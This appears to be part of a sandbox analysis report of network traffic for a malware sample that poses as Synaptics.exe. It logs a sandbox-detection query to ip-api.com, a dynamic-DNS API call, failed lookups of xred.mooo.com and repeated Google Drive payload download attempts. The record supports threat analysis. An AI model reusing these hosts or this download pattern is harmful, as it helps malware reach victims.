Jul 2, 2024 06:51:36.091516972 CEST	1.1.1.1	192.168.2.5	0x7aa8	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jul 2, 2024 06:51:42.887943983 CEST	1.1.1.1	192.168.2.5	0x434	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Jul 2, 2024 06:52:23.984142065 CEST	1.1.1.1	192.168.2.5	0xbb28	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 2, 2024 06:52:23.984142065 CEST	1.1.1.1	192.168.2.5	0xbb28	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

docs.google.com

drive.usercontent.google.com

otelrules.azureedge.net

ip-api.com

freedns.afraid.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	208.95.112.1	80	2616	C:\Users\user\Desktop\._cache_F.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 06:51:19.604758978 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jul 2, 2024 06:51:20.095616102 CEST	175	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 04:51:19 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 58 X-Rl: 43 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	69.42.215.252	80	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 06:51:22.387763977 CEST	154	OUT	GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1 User-Agent: MyApp Host: freedns.afraid.org Cache-Control: no-cache
Jul 2, 2024 06:51:23.013956070 CEST	243	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 02 Jul 2024 04:51:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Cache: MISS Data Raw: 31 66 0d 0a 45 52 52 4f 52 3a 20 43 6f 75 6c 64 20 6e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fERROR: Could not authenticate.0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:22 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:22 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:22 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-K2zHtUlmwVVuV8kyaT4NrQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:22 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:22 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:22 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-4oI1sOXr_CbAH5I59IAItg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49716	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:23 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-Cg_VHboP8zgaLnXLg-4FGQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49715	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:23 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Dj5ZkBe4koQyXqx0LCJEng' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49718	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:23 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-07-02 04:51:23 UTC	1585	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:23 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-0QV0jR1sln1Fj9GcaoYkkw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: ACJd0NqEruspLaOOJrRSdie2_aGIN3xoT1qKJPCv28Ewi5NyH5stL_p5JWbOIcSn2tbgeHGVOMM Server: UploadServer Set-Cookie: NID=515=hvNqLQGGTW_jz-Z-2Gifs1ZmMOcy9V7YwuCTkJ9UsaPlvIDjrgJvd-weTfYLZ6plN_u27mHeGvvWsNasfuhssEgcVrwaGUfDL1rg6SbcVNO2Nw5L9UyXxHRiiCXTd3QV4aREWJhGdvGnJQwd-rryP0B_x1r3oXK265LQum1pmfM; expires=Wed, 01-Jan-2025 04:51:23 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:23 UTC	1585	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5f 7a 37 65 47 79 42 61 48 71 79 4f 6e 51 30 51 5f 69 36 4a 59 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="_z7eGyBaHqyOnQ0Q_i6JYw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-seri
2024-07-02 04:51:23 UTC	57	IN	Data Raw: 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: d on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49717	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:23 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-07-02 04:51:24 UTC	1585	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:23 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-h6h2GTXVoNqcKn8WTpvzTg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: ACJd0NqU4FYcxiiXDjGMJzLQJaDvq7BpoOuNldwUMM6frWlpQrbTz676Tb4JJwdF83wtqWaRJ5Y Server: UploadServer Set-Cookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw; expires=Wed, 01-Jan-2025 04:51:23 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:24 UTC	1585	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 37 49 46 42 55 77 77 6e 4d 65 54 68 4b 2d 72 52 44 35 4a 6f 30 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="7IFBUwwnMeThK-rRD5Jo0g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-seri
2024-07-02 04:51:24 UTC	57	IN	Data Raw: 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: d on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49723	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:24 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-07-02 04:51:25 UTC	1585	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:24 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-JGh5ZFeigZoyePwda9d-Sg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: ACJd0NoLCQuFTHxzixSymh4FWFC4x7z1FNMxw8JsUy91o2gN6O-whJC79yHNdGRSUWuH6s1E32w Server: UploadServer Set-Cookie: NID=515=A3_DWj-uYlS8SG5SSf4h2bgber-DsAFUfVFi3FxDtVi6jdEuIU6gVf6qK91beLGBvOf1aDV0Nep13pF86ny2gczGzT-3nbHCtLKC8cn0g8_K7gZDcqKMbM307ceTmcEP8JCdf4BXdMiJYzViINyBdRPd8CGRJRG-5NAuxhs9Z5M; expires=Wed, 01-Jan-2025 04:51:24 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:25 UTC	1585	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 31 50 57 71 56 72 55 5a 58 48 64 34 4f 4c 59 74 76 38 7a 42 43 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="1PWqVrUZXHd4OLYtv8zBCg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-seri
2024-07-02 04:51:25 UTC	57	IN	Data Raw: 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: d on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49722	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:24 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-uvcONqbtoO0BW9vFlB7yUA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49721	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:24 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-uDkuXSeyYizhqu4kkfdPJQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49724	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:24 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-07-02 04:51:25 UTC	1585	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:25 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-txAM4vljkJyEOkerxJU83g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: ACJd0NoIVJD2eFQPpsPLn5BXSyvuiRddYNe_07ekdyBCjEpO79bvO9OvT_0IRPjpa7ovx8qt0tY Server: UploadServer Set-Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs; expires=Wed, 01-Jan-2025 04:51:25 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
